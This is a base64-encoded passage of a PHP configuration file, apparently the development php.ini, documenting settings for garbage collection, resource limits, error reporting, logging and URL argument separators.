IGdpdmVuCjsgZmlsZSBvciBkaXJlY3RvcnkuIEZvciBzeXN0ZW1zIHdpdGggcmFyZWx5IGNoYW5naW5nIGZpbGVzLCBjb25zaWRlciBpbmNyZWFzaW5nIHRoaXMKOyB2YWx1ZS4KOyBodHRwOi8vcGhwLm5ldC9yZWFscGF0aC1jYWNoZS10dGwKO3JlYWxwYXRoX2NhY2hlX3R0bCA9IDEyMAoKOyBFbmFibGVzIG9yIGRpc2FibGVzIHRoZSBjaXJjdWxhciByZWZlcmVuY2UgY29sbGVjdG9yLgo7IGh0dHA6Ly9waHAubmV0L3plbmQuZW5hYmxlLWdjCnplbmQuZW5hYmxlX2djID0gT24KCjsgSWYgZW5hYmxlZCwgc2NyaXB0cyBtYXkgYmUgd3JpdHRlbiBpbiBlbmNvZGluZ3MgdGhhdCBhcmUgaW5jb21wYXRpYmxlIHdpdGgKOyB0aGUgc2Nhbm5lci4gIENQOTM2LCBCaWc1LCBDUDk0OSBhbmQgU2hpZnRfSklTIGFyZSB0aGUgZXhhbXBsZXMgb2Ygc3VjaAo7IGVuY29kaW5ncy4gIFRvIHVzZSB0aGlzIGZlYXR1cmUsIG1ic3RyaW5nIGV4dGVuc2lvbiBtdXN0IGJlIGVuYWJsZWQuCjsgRGVmYXVsdDogT2ZmCjt6ZW5kLm11bHRpYnl0ZSA9IE9mZgoKOyBBbGxvd3MgdG8gc2V0IHRoZSBkZWZhdWx0IGVuY29kaW5nIGZvciB0aGUgc2NyaXB0cy4gIFRoaXMgdmFsdWUgd2lsbCBiZSB1c2VkCjsgdW5sZXNzICZxdW90O2RlY2xhcmUoZW5jb2Rpbmc9Li4uKSZxdW90OyBkaXJlY3RpdmUgYXBwZWFycyBhdCB0aGUgdG9wIG9mIHRoZSBzY3JpcHQuCjsgT25seSBhZmZlY3RzIGlmIHplbmQubXVsdGlieXRlIGlzIHNldC4KOyBEZWZhdWx0OiAmcXVvdDsmcXVvdDsKO3plbmQuc2NyaXB0X2VuY29kaW5nID0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgTWlzY2VsbGFuZW91cyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7Cgo7IERlY2lkZXMgd2hldGhlciBQSFAgbWF5IGV4cG9zZSB0aGUgZmFjdCB0aGF0IGl0IGlzIGluc3RhbGxlZCBvbiB0aGUgc2VydmVyCjsgKGUuZy4gYnkgYWRkaW5nIGl0cyBzaWduYXR1cmUgdG8gdGhlIFdlYiBzZXJ2ZXIgaGVhZGVyKS4gIEl0IGlzIG5vIHNlY3VyaXR5CjsgdGhyZWF0IGluIGFueSB3YXksIGJ1dCBpdCBtYWtlcyBpdCBwb3NzaWJsZSB0byBkZXRlcm1pbmUgd2hldGhlciB5b3UgdXNlIFBIUAo7IG9uIHlvdXIgc2VydmVyIG9yIG5vdC4KOyBodHRwOi8vcGhwLm5ldC9leHBvc2UtcGhwCmV4cG9zZV9waHAgPSBPbgoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Owo7IFJlc291cmNlIExpbWl0cyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgTWF4aW11bSBleGVjdXRpb24gdGltZSBvZiBlYWNoIHNjcmlwdCwgaW4gc2Vjb25kcwo7IGh0dHA6Ly9waHAubmV0L21heC1leGVjdXRpb24tdGltZQo7IE5vdGU6IFRoaXMgZGlyZWN0aXZlIGlzIGhhcmRjb2RlZCB0byAwIGZvciB0aGUgQ0xJIFNBUEkKbWF4X2V4ZWN1dGlvbl90aW1lID0gMzAKCjsgTWF4aW11bSBhbW91bnQgb2YgdGltZSBlYWNoIHNjcmlwdCBtYXkgc3BlbmQgcGFyc2luZyByZXF1ZXN0IGRhdGEuIEl0JmFwb3M7cyBhIGdvb2QKOyBpZGVhIHRvIGxpbWl0IHRoaXMgdGltZSBvbiBwcm9kdWN0aW9ucyBzZXJ2ZXJzIGluIG9yZGVyIHRvIGVsaW1pbmF0ZSB1bmV4cGVjdGVkbHkKOyBsb25nIHJ1bm5pbmcgc2NyaXB0cy4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gLTEgZm9yIHRoZSBDTEkgU0FQSQo7IERlZmF1bHQgVmFsdWU6IC0xIChVbmxpbWl0ZWQpCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDYwICg2MCBzZWNvbmRzKQo7IFByb2R1Y3Rpb24gVmFsdWU6IDYwICg2MCBzZWNvbmRzKQo7IGh0dHA6Ly9waHAubmV0L21heC1pbnB1dC10aW1lCm1heF9pbnB1dF90aW1lID0gNjAKCjsgTWF4aW11bSBpbnB1dCB2YXJpYWJsZSBuZXN0aW5nIGxldmVsCjsgaHR0cDovL3BocC5uZXQvbWF4LWlucHV0LW5lc3RpbmctbGV2ZWwKO21heF9pbnB1dF9uZXN0aW5nX2xldmVsID0gNjQKCjsgSG93IG1hbnkgR0VUL1BPU1QvQ09PS0lFIGlucHV0IHZhcmlhYmxlcyBtYXkgYmUgYWNjZXB0ZWQKO21heF9pbnB1dF92YXJzID0gMTAwMAoKOyBNYXhpbXVtIGFtb3VudCBvZiBtZW1vcnkgYSBzY3JpcHQgbWF5IGNvbnN1bWUgKDEyOE1CKQo7IGh0dHA6Ly9waHAubmV0L21lbW9yeS1saW1pdAptZW1vcnlfbGltaXQgPSAxMjhNCgo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBFcnJvciBoYW5kbGluZyBhbmQgbG9nZ2luZyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OwoKOyBUaGlzIGRpcmVjdGl2ZSBpbmZvcm1zIFBIUCBvZiB3aGljaCBlcnJvcnMsIHdhcm5pbmdzIGFuZCBub3RpY2VzIHlvdSB3b3VsZCBsaWtlCjsgaXQgdG8gdGFrZSBhY3Rpb24gZm9yLiBUaGUgcmVjb21tZW5kZWQgd2F5IG9mIHNldHRpbmcgdmFsdWVzIGZvciB0aGlzCjsgZGlyZWN0aXZlIGlzIHRocm91Z2ggdGhlIHVzZSBvZiB0aGUgZXJyb3IgbGV2ZWwgY29uc3RhbnRzIGFuZCBiaXR3aXNlCjsgb3BlcmF0b3JzLiBUaGUgZXJyb3IgbGV2ZWwgY29uc3RhbnRzIGFyZSBiZWxvdyBoZXJlIGZvciBjb252ZW5pZW5jZSBhcyB3ZWxsIGFzCjsgc29tZSBjb21tb24gc2V0dGluZ3MgYW5kIHRoZWlyIG1lYW5pbmdzLgo7IEJ5IGRlZmF1bHQsIFBIUCBpcyBzZXQgdG8gdGFrZSBhY3Rpb24gb24gYWxsIGVycm9ycywgbm90aWNlcyBhbmQgd2FybmluZ3MgRVhDRVBUCjsgdGhvc2UgcmVsYXRlZCB0byBFX05PVElDRSBhbmQgRV9TVFJJQ1QsIHdoaWNoIHRvZ2V0aGVyIGNvdmVyIGJlc3QgcHJhY3RpY2VzIGFuZAo7IHJlY29tbWVuZGVkIGNvZGluZyBzdGFuZGFyZHMgaW4gUEhQLiBGb3IgcGVyZm9ybWFuY2UgcmVhc29ucywgdGhpcyBpcyB0aGUKOyByZWNvbW1lbmQgZXJyb3IgcmVwb3J0aW5nIHNldHRpbmcuIFlvdXIgcHJvZHVjdGlvbiBzZXJ2ZXIgc2hvdWxkbiZhcG9zO3QgYmUgd2FzdGluZwo7IHJlc291cmNlcyBjb21wbGFpbmluZyBhYm91dCBiZXN0IHByYWN0aWNlcyBhbmQgY29kaW5nIHN0YW5kYXJkcy4gVGhhdCZhcG9zO3Mgd2hhdAo7IGRldmVsb3BtZW50IHNlcnZlcnMgYW5kIGRldmVsb3BtZW50IHNldHRpbmdzIGFyZSBmb3IuCjsgTm90ZTogVGhlIHBocC5pbmktZGV2ZWxvcG1lbnQgZmlsZSBoYXMgdGhpcyBzZXR0aW5nIGFzIEVfQUxMLiBUaGlzCjsgbWVhbnMgaXQgcHJldHR5IG11Y2ggcmVwb3J0cyBldmVyeXRoaW5nIHdoaWNoIGlzIGV4YWN0bHkgd2hhdCB5b3Ugd2FudCBkdXJpbmcKOyBkZXZlbG9wbWVudCBhbmQgZWFybHkgdGVzdGluZy4KOwo7IEVycm9yIExldmVsIENvbnN0YW50czoKOyBFX0FMTCAgICAgICAgICAgICAtIEFsbCBlcnJvcnMgYW5kIHdhcm5pbmdzIChpbmNsdWRlcyBFX1NUUklDVCBhcyBvZiBQSFAgNS40LjApCjsgRV9FUlJPUiAgICAgICAgICAgLSBmYXRhbCBydW4tdGltZSBlcnJvcnMKOyBFX1JFQ09WRVJBQkxFX0VSUk9SICAtIGFsbW9zdCBmYXRhbCBydW4tdGltZSBlcnJvcnMKOyBFX1dBUk5JTkcgICAgICAgICAtIHJ1bi10aW1lIHdhcm5pbmdzIChub24tZmF0YWwgZXJyb3JzKQo7IEVfUEFSU0UgICAgICAgICAgIC0gY29tcGlsZS10aW1lIHBhcnNlIGVycm9ycwo7IEVfTk9USUNFICAgICAgICAgIC0gcnVuLXRpbWUgbm90aWNlcyAodGhlc2UgYXJlIHdhcm5pbmdzIHdoaWNoIG9mdGVuIHJlc3VsdAo7ICAgICAgICAgICAgICAgICAgICAgZnJvbSBhIGJ1ZyBpbiB5b3VyIGNvZGUsIGJ1dCBpdCZhcG9zO3MgcG9zc2libGUgdGhhdCBpdCB3YXMKOyAgICAgICAgICAgICAgICAgICAgIGludGVudGlvbmFsIChlLmcuLCB1c2luZyBhbiB1bmluaXRpYWxpemVkIHZhcmlhYmxlIGFuZAo7ICAgICAgICAgICAgICAgICAgICAgcmVseWluZyBvbiB0aGUgZmFjdCBpdCBpcyBhdXRvbWF0aWNhbGx5IGluaXRpYWxpemVkIHRvIGFuCjsgICAgICAgICAgICAgICAgICAgICBlbXB0eSBzdHJpbmcpCjsgRV9TVFJJQ1QgICAgICAgICAgLSBydW4tdGltZSBub3RpY2VzLCBlbmFibGUgdG8gaGF2ZSBQSFAgc3VnZ2VzdCBjaGFuZ2VzCjsgICAgICAgICAgICAgICAgICAgICB0byB5b3VyIGNvZGUgd2hpY2ggd2lsbCBlbnN1cmUgdGhlIGJlc3QgaW50ZXJvcGVyYWJpbGl0eQo7ICAgICAgICAgICAgICAgICAgICAgYW5kIGZvcndhcmQgY29tcGF0aWJpbGl0eSBvZiB5b3VyIGNvZGUKOyBFX0NPUkVfRVJST1IgICAgICAtIGZhdGFsIGVycm9ycyB0aGF0IG9jY3VyIGR1cmluZyBQSFAmYXBvcztzIGluaXRpYWwgc3RhcnR1cAo7IEVfQ09SRV9XQVJOSU5HICAgIC0gd2FybmluZ3MgKG5vbi1mYXRhbCBlcnJvcnMpIHRoYXQgb2NjdXIgZHVyaW5nIFBIUCZhcG9zO3MKOyAgICAgICAgICAgICAgICAgICAgIGluaXRpYWwgc3RhcnR1cAo7IEVfQ09NUElMRV9FUlJPUiAgIC0gZmF0YWwgY29tcGlsZS10aW1lIGVycm9ycwo7IEVfQ09NUElMRV9XQVJOSU5HIC0gY29tcGlsZS10aW1lIHdhcm5pbmdzIChub24tZmF0YWwgZXJyb3JzKQo7IEVfVVNFUl9FUlJPUiAgICAgIC0gdXNlci1nZW5lcmF0ZWQgZXJyb3IgbWVzc2FnZQo7IEVfVVNFUl9XQVJOSU5HICAgIC0gdXNlci1nZW5lcmF0ZWQgd2FybmluZyBtZXNzYWdlCjsgRV9VU0VSX05PVElDRSAgICAgLSB1c2VyLWdlbmVyYXRlZCBub3RpY2UgbWVzc2FnZQo7IEVfREVQUkVDQVRFRCAgICAgIC0gd2FybiBhYm91dCBjb2RlIHRoYXQgd2lsbCBub3Qgd29yayBpbiBmdXR1cmUgdmVyc2lvbnMKOyAgICAgICAgICAgICAgICAgICAgIG9mIFBIUAo7IEVfVVNFUl9ERVBSRUNBVEVEIC0gdXNlci1nZW5lcmF0ZWQgZGVwcmVjYXRpb24gd2FybmluZ3MKOwo7IENvbW1vbiBWYWx1ZXM6CjsgICBFX0FMTCAoU2hvdyBhbGwgZXJyb3JzLCB3YXJuaW5ncyBhbmQgbm90aWNlcyBpbmNsdWRpbmcgY29kaW5nIHN0YW5kYXJkcy4pCjsgICBFX0FMTCAmYW1wOyB+RV9OT1RJQ0UgIChTaG93IGFsbCBlcnJvcnMsIGV4Y2VwdCBmb3Igbm90aWNlcykKOyAgIEVfQUxMICZhbXA7IH5FX05PVElDRSAmYW1wOyB+RV9TVFJJQ1QgIChTaG93IGFsbCBlcnJvcnMsIGV4Y2VwdCBmb3Igbm90aWNlcyBhbmQgY29kaW5nIHN0YW5kYXJkcyB3YXJuaW5ncy4pCjsgICBFX0NPTVBJTEVfRVJST1J8RV9SRUNPVkVSQUJMRV9FUlJPUnxFX0VSUk9SfEVfQ09SRV9FUlJPUiAgKFNob3cgb25seSBlcnJvcnMpCjsgRGVmYXVsdCBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfTk9USUNFICZhbXA7IH5FX1NUUklDVCAmYW1wOyB+RV9ERVBSRUNBVEVECjsgRGV2ZWxvcG1lbnQgVmFsdWU6IEVfQUxMCjsgUHJvZHVjdGlvbiBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfREVQUkVDQVRFRCAmYW1wOyB+RV9TVFJJQ1QKOyBodHRwOi8vcGhwLm5ldC9lcnJvci1yZXBvcnRpbmcKZXJyb3JfcmVwb3J0aW5nID0gRV9BTEwKCjsgVGhpcyBkaXJlY3RpdmUgY29udHJvbHMgd2hldGhlciBvciBub3QgYW5kIHdoZXJlIFBIUCB3aWxsIG91dHB1dCBlcnJvcnMsCjsgbm90aWNlcyBhbmQgd2FybmluZ3MgdG9vLiBFcnJvciBvdXRwdXQgaXMgdmVyeSB1c2VmdWwgZHVyaW5nIGRldmVsb3BtZW50LCBidXQKOyBpdCBjb3VsZCBiZSB2ZXJ5IGRhbmdlcm91cyBpbiBwcm9kdWN0aW9uIGVudmlyb25tZW50cy4gRGVwZW5kaW5nIG9uIHRoZSBjb2RlCjsgd2hpY2ggaXMgdHJpZ2dlcmluZyB0aGUgZXJyb3IsIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiBjb3VsZCBwb3RlbnRpYWxseSBsZWFrCjsgb3V0IG9mIHlvdXIgYXBwbGljYXRpb24gc3VjaCBhcyBkYXRhYmFzZSB1c2VybmFtZXMgYW5kIHBhc3N3b3JkcyBvciB3b3JzZS4KOyBGb3IgcHJvZHVjdGlvbiBlbnZpcm9ubWVudHMsIHdlIHJlY29tbWVuZCBsb2dnaW5nIGVycm9ycyByYXRoZXIgdGhhbgo7IHNlbmRpbmcgdGhlbSB0byBTVERPVVQuCjsgUG9zc2libGUgVmFsdWVzOgo7ICAgT2ZmID0gRG8gbm90IGRpc3BsYXkgYW55IGVycm9ycwo7ICAgc3RkZXJyID0gRGlzcGxheSBlcnJvcnMgdG8gU1RERVJSIChhZmZlY3RzIG9ubHkgQ0dJL0NMSSBiaW5hcmllcyEpCjsgICBPbiBvciBzdGRvdXQgPSBEaXNwbGF5IGVycm9ycyB0byBTVERPVVQKOyBEZWZhdWx0IFZhbHVlOiBPbgo7IERldmVsb3BtZW50IFZhbHVlOiBPbgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L2Rpc3BsYXktZXJyb3JzCmRpc3BsYXlfZXJyb3JzID0gT24KCjsgVGhlIGRpc3BsYXkgb2YgZXJyb3JzIHdoaWNoIG9jY3VyIGR1cmluZyBQSFAmYXBvcztzIHN0YXJ0dXAgc2VxdWVuY2UgYXJlIGhhbmRsZWQKOyBzZXBhcmF0ZWx5IGZyb20gZGlzcGxheV9lcnJvcnMuIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvciBpcyB0byBzdXBwcmVzcyB0aG9zZQo7IGVycm9ycyBmcm9tIGNsaWVudHMuIFR1cm5pbmcgdGhlIGRpc3BsYXkgb2Ygc3RhcnR1cCBlcnJvcnMgb24gY2FuIGJlIHVzZWZ1bCBpbgo7IGRlYnVnZ2luZyBjb25maWd1cmF0aW9uIHByb2JsZW1zLiBXZSBzdHJvbmdseSByZWNvbW1lbmQgeW91Cjsgc2V0IHRoaXMgdG8gJmFwb3M7b2ZmJmFwb3M7IGZvciBwcm9kdWN0aW9uIHNlcnZlcnMuCjsgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uCjsgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmCjsgaHR0cDovL3BocC5uZXQvZGlzcGxheS1zdGFydHVwLWVycm9ycwpkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzID0gT24KCjsgQmVzaWRlcyBkaXNwbGF5aW5nIGVycm9ycywgUEhQIGNhbiBhbHNvIGxvZyBlcnJvcnMgdG8gbG9jYXRpb25zIHN1Y2ggYXMgYQo7IHNlcnZlci1zcGVjaWZpYyBsb2csIFNUREVSUiwgb3IgYSBsb2NhdGlvbiBzcGVjaWZpZWQgYnkgdGhlIGVycm9yX2xvZwo7IGRpcmVjdGl2ZSBmb3VuZCBiZWxvdy4gV2hpbGUgZXJyb3JzIHNob3VsZCBub3QgYmUgZGlzcGxheWVkIG9uIHByb2R1Y3Rpb25zCjsgc2VydmVycyB0aGV5IHNob3VsZCBzdGlsbCBiZSBtb25pdG9yZWQgYW5kIGxvZ2dpbmcgaXMgYSBncmVhdCB3YXkgdG8gZG8gdGhhdC4KOyBEZWZhdWx0IFZhbHVlOiBPZmYKOyBEZXZlbG9wbWVudCBWYWx1ZTogT24KOyBQcm9kdWN0aW9uIFZhbHVlOiBPbgo7IGh0dHA6Ly9waHAubmV0L2xvZy1lcnJvcnMKbG9nX2Vycm9ycyA9IE9uCgo7IFNldCBtYXhpbXVtIGxlbmd0aCBvZiBsb2dfZXJyb3JzLiBJbiBlcnJvcl9sb2cgaW5mb3JtYXRpb24gYWJvdXQgdGhlIHNvdXJjZSBpcwo7IGFkZGVkLiBUaGUgZGVmYXVsdCBpcyAxMDI0IGFuZCAwIGFsbG93cyB0byBub3QgYXBwbHkgYW55IG1heGltdW0gbGVuZ3RoIGF0IGFsbC4KOyBodHRwOi8vcGhwLm5ldC9sb2ctZXJyb3JzLW1heC1sZW4KbG9nX2Vycm9yc19tYXhfbGVuID0gMTAyNAoKOyBEbyBub3QgbG9nIHJlcGVhdGVkIG1lc3NhZ2VzLiBSZXBlYXRlZCBlcnJvcnMgbXVzdCBvY2N1ciBpbiBzYW1lIGZpbGUgb24gc2FtZQo7IGxpbmUgdW5sZXNzIGlnbm9yZV9yZXBlYXRlZF9zb3VyY2UgaXMgc2V0IHRydWUuCjsgaHR0cDovL3BocC5uZXQvaWdub3JlLXJlcGVhdGVkLWVycm9ycwppZ25vcmVfcmVwZWF0ZWRfZXJyb3JzID0gT2ZmCgo7IElnbm9yZSBzb3VyY2Ugb2YgbWVzc2FnZSB3aGVuIGlnbm9yaW5nIHJlcGVhdGVkIG1lc3NhZ2VzLiBXaGVuIHRoaXMgc2V0dGluZwo7IGlzIE9uIHlvdSB3aWxsIG5vdCBsb2cgZXJyb3JzIHdpdGggcmVwZWF0ZWQgbWVzc2FnZXMgZnJvbSBkaWZmZXJlbnQgZmlsZXMgb3IKOyBzb3VyY2UgbGluZXMuCjsgaHR0cDovL3BocC5uZXQvaWdub3JlLXJlcGVhdGVkLXNvdXJjZQppZ25vcmVfcmVwZWF0ZWRfc291cmNlID0gT2ZmCgo7IElmIHRoaXMgcGFyYW1ldGVyIGlzIHNldCB0byBPZmYsIHRoZW4gbWVtb3J5IGxlYWtzIHdpbGwgbm90IGJlIHNob3duIChvbgo7IHN0ZG91dCBvciBpbiB0aGUgbG9nKS4gVGhpcyBoYXMgb25seSBlZmZlY3QgaW4gYSBkZWJ1ZyBjb21waWxlLCBhbmQgaWYKOyBlcnJvciByZXBvcnRpbmcgaW5jbHVkZXMgRV9XQVJOSU5HIGluIHRoZSBhbGxvd2VkIGxpc3QKOyBodHRwOi8vcGhwLm5ldC9yZXBvcnQtbWVtbGVha3MKcmVwb3J0X21lbWxlYWtzID0gT24KCjsgVGhpcyBzZXR0aW5nIGlzIG9uIGJ5IGRlZmF1bHQuCjtyZXBvcnRfemVuZF9kZWJ1ZyA9IDAKCjsgU3RvcmUgdGhlIGxhc3QgZXJyb3Ivd2FybmluZyBtZXNzYWdlIGluICRwaHBfZXJyb3Jtc2cgKGJvb2xlYW4pLgo7IFRoaXMgZGlyZWN0aXZlIGlzIERFUFJFQ0FURUQuCjsgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9mZgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L3RyYWNrLWVycm9ycwo7dHJhY2tfZXJyb3JzID0gT2ZmCgo7IFR1cm4gb2ZmIG5vcm1hbCBlcnJvciByZXBvcnRpbmcgYW5kIGVtaXQgWE1MLVJQQyBlcnJvciBYTUwKOyBodHRwOi8vcGhwLm5ldC94bWxycGMtZXJyb3JzCjt4bWxycGNfZXJyb3JzID0gMAoKOyBBbiBYTUwtUlBDIGZhdWx0Q29kZQo7eG1scnBjX2Vycm9yX251bWJlciA9IDAKCjsgV2hlbiBQSFAgZGlzcGxheXMgb3IgbG9ncyBhbiBlcnJvciwgaXQgaGFzIHRoZSBjYXBhYmlsaXR5IG9mIGZvcm1hdHRpbmcgdGhlCjsgZXJyb3IgbWVzc2FnZSBhcyBIVE1MIGZvciBlYXNpZXIgcmVhZGluZy4gVGhpcyBkaXJlY3RpdmUgY29udHJvbHMgd2hldGhlcgo7IHRoZSBlcnJvciBtZXNzYWdlIGlzIGZvcm1hdHRlZCBhcyBIVE1MIG9yIG5vdC4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT2ZmIGZvciB0aGUgQ0xJIFNBUEkKOyBEZWZhdWx0IFZhbHVlOiBPbgo7IERldmVsb3BtZW50IFZhbHVlOiBPbgo7IFByb2R1Y3Rpb24gdmFsdWU6IE9uCjsgaHR0cDovL3BocC5uZXQvaHRtbC1lcnJvcnMKaHRtbF9lcnJvcnMgPSBPbgoKOyBJZiBodG1sX2Vycm9ycyBpcyBzZXQgdG8gT24gKmFuZCogZG9jcmVmX3Jvb3QgaXMgbm90IGVtcHR5LCB0aGVuIFBIUAo7IHByb2R1Y2VzIGNsaWNrYWJsZSBlcnJvciBtZXNzYWdlcyB0aGF0IGRpcmVjdCB0byBhIHBhZ2UgZGVzY3JpYmluZyB0aGUgZXJyb3IKOyBvciBmdW5jdGlvbiBjYXVzaW5nIHRoZSBlcnJvciBpbiBkZXRhaWwuCjsgWW91IGNhbiBkb3dubG9hZCBhIGNvcHkgb2YgdGhlIFBIUCBtYW51YWwgZnJvbSBodHRwOi8vcGhwLm5ldC9kb2NzCjsgYW5kIGNoYW5nZSBkb2NyZWZfcm9vdCB0byB0aGUgYmFzZSBVUkwgb2YgeW91ciBsb2NhbCBjb3B5IGluY2x1ZGluZyB0aGUKOyBsZWFkaW5nICZhcG9zOy8mYXBvczsuIFlvdSBtdXN0IGFsc28gc3BlY2lmeSB0aGUgZmlsZSBleHRlbnNpb24gYmVpbmcgdXNlZCBpbmNsdWRpbmcKOyB0aGUgZG90LiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUgdGhlc2Ugc2V0dGluZ3MgZW1wdHksIGluIHdoaWNoCjsgY2FzZSBubyBsaW5rcyB0byBkb2N1bWVudGF0aW9uIGFyZSBnZW5lcmF0ZWQuCjsgTm90ZTogTmV2ZXIgdXNlIHRoaXMgZmVhdHVyZSBmb3IgcHJvZHVjdGlvbiBib3hlcy4KOyBodHRwOi8vcGhwLm5ldC9kb2NyZWYtcm9vdAo7IEV4YW1wbGVzCjtkb2NyZWZfcm9vdCA9ICZxdW90Oy9waHBtYW51YWwvJnF1b3Q7Cgo7IGh0dHA6Ly9waHAubmV0L2RvY3JlZi1leHQKO2RvY3JlZl9leHQgPSAuaHRtbAoKOyBTdHJpbmcgdG8gb3V0cHV0IGJlZm9yZSBhbiBlcnJvciBtZXNzYWdlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUKOyB0aGlzIHNldHRpbmcgYmxhbmsuCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItcHJlcGVuZC1zdHJpbmcKOyBFeGFtcGxlOgo7ZXJyb3JfcHJlcGVuZF9zdHJpbmcgPSAmcXVvdDsmbHQ7c3BhbiBzdHlsZT0mYXBvcztjb2xvcjogI2ZmMDAwMCZhcG9zOyZndDsmcXVvdDsKCjsgU3RyaW5nIHRvIG91dHB1dCBhZnRlciBhbiBlcnJvciBtZXNzYWdlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUKOyB0aGlzIHNldHRpbmcgYmxhbmsuCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItYXBwZW5kLXN0cmluZwo7IEV4YW1wbGU6CjtlcnJvcl9hcHBlbmRfc3RyaW5nID0gJnF1b3Q7Jmx0Oy9zcGFuJmd0OyZxdW90OwoKOyBMb2cgZXJyb3JzIHRvIHNwZWNpZmllZCBmaWxlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUgdGhpcyB2YWx1ZQo7IGVtcHR5Lgo7IGh0dHA6Ly9waHAubmV0L2Vycm9yLWxvZwo7IEV4YW1wbGU6CjtlcnJvcl9sb2cgPSBwaHBfZXJyb3JzLmxvZwo7IExvZyBlcnJvcnMgdG8gc3lzbG9nIChFdmVudCBMb2cgb24gV2luZG93cykuCjtlcnJvcl9sb2cgPSBzeXNsb2cKCjsgVGhlIHN5c2xvZyBpZGVudCBpcyBhIHN0cmluZyB3aGljaCBpcyBwcmVwZW5kZWQgdG8gZXZlcnkgbWVzc2FnZSBsb2dnZWQKOyB0byBzeXNsb2cuIE9ubHkgdXNlZCB3aGVuIGVycm9yX2xvZyBpcyBzZXQgdG8gc3lzbG9nLgo7c3lzbG9nLmlkZW50ID0gcGhwCgo7IFRoZSBzeXNsb2cgZmFjaWxpdHkgaXMgdXNlZCB0byBzcGVjaWZ5IHdoYXQgdHlwZSBvZiBwcm9ncmFtIGlzIGxvZ2dpbmcKOyB0aGUgbWVzc2FnZS4gT25seSB1c2VkIHdoZW4gZXJyb3JfbG9nIGlzIHNldCB0byBzeXNsb2cuCjtzeXNsb2cuZmFjaWxpdHkgPSB1c2VyCgo7IFNldCB0aGlzIHRvIGRpc2FibGUgZmlsdGVyaW5nIGNvbnRyb2wgY2hhcmFjdGVycyAodGhlIGRlZmF1bHQpLgo7IFNvbWUgbG9nZ2VycyBvbmx5IGFjY2VwdCBOVlQtQVNDSUksIG90aGVycyBhY2NlcHQgYW55dGhpbmcgdGhhdCZhcG9zO3Mgbm90CjsgY29udHJvbCBjaGFyYWN0ZXJzLiBJZiB5b3VyIGxvZ2dlciBhY2NlcHRzIGV2ZXJ5dGhpbmcsIHRoZW4gbm8gZmlsdGVyaW5nCjsgaXMgbmVlZGVkIGF0IGFsbC4KOyBBbGxvd2VkIHZhbHVlcyBhcmU6CjsgICBhc2NpaSAoYWxsIHByaW50YWJsZSBBU0NJSSBjaGFyYWN0ZXJzIGFuZCBOTCkKOyAgIG5vLWN0cmwgKGFsbCBjaGFyYWN0ZXJzIGV4Y2VwdCBjb250cm9sIGNoYXJhY3RlcnMpCjsgICBhbGwgKGFsbCBjaGFyYWN0ZXJzKQo7ICAgcmF3IChsaWtlICZxdW90O2FsbCZxdW90OywgYnV0IG1lc3NhZ2VzIGFyZSBub3Qgc3BsaXQgYXQgbmV3bGluZXMpCjsgaHR0cDovL3BocC5uZXQvc3lzbG9nLmZpbHRlcgo7c3lzbG9nLmZpbHRlciA9IGFzY2lpCgo7d2luZG93cy5zaG93X2NydF93YXJuaW5nCjsgRGVmYXVsdCB2YWx1ZTogMAo7IERldmVsb3BtZW50IHZhbHVlOiAwCjsgUHJvZHVjdGlvbiB2YWx1ZTogMAoKOzs7Ozs7Ozs7Ozs7Ozs7OzsKOyBEYXRhIEhhbmRsaW5nIDsKOzs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgVGhlIHNlcGFyYXRvciB1c2VkIGluIFBIUCBnZW5lcmF0ZWQgVVJMcyB0byBzZXBhcmF0ZSBhcmd1bWVudHMuCjsgUEhQJmFwb3M7cyBkZWZhdWx0IHNldHRpbmcgaXMgJnF1b3Q7JmFtcDsmcXVvdDsuCjsgaHR0cDovL3BocC5uZXQvYXJnLXNlcGFyYXRvci5vdXRwdXQKOyBFeGFtcGxlOgo7YXJnX3NlcGFyYXRvci5vdXRwdXQgPSAmcXVvdDsmYW1wO2FtcDsmcXVvdDsKCjsgTGlzdCBvZiBzZXBhcmF0b3IocykgdXNlZCBieSBQSFAgdG8gcGFyc2UgaW5wdXQgVVJMcyBpbnRvIHZhcmlhYmxlcy4KOyBQSFAmYXBvcztzIGRlZmF1bHQgc2V0dGluZyBpcyAmcXVvdDsmYW1wOyZxdW90Oy4KOyBOT1RFOiBFdmVyeSBjaGFyYWN0ZXIgaW4gdGhpcyBkaXJlY3RpdmUgaXMgY29uc2lkZXJlZCBhcyBzZXBhcmF0b3IhCjsgaHR0cDovL3BocC5uZXQvYXJnLXNlcGFyYXRvci5pbnB1dAo7IEV4YW1wbGU6Cjthcmdfc2VwYXJhdG9yLmlucHV0ID0gJnF1b3Q7OyZhbXA7JnF1b3Q7Cgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hpY2gg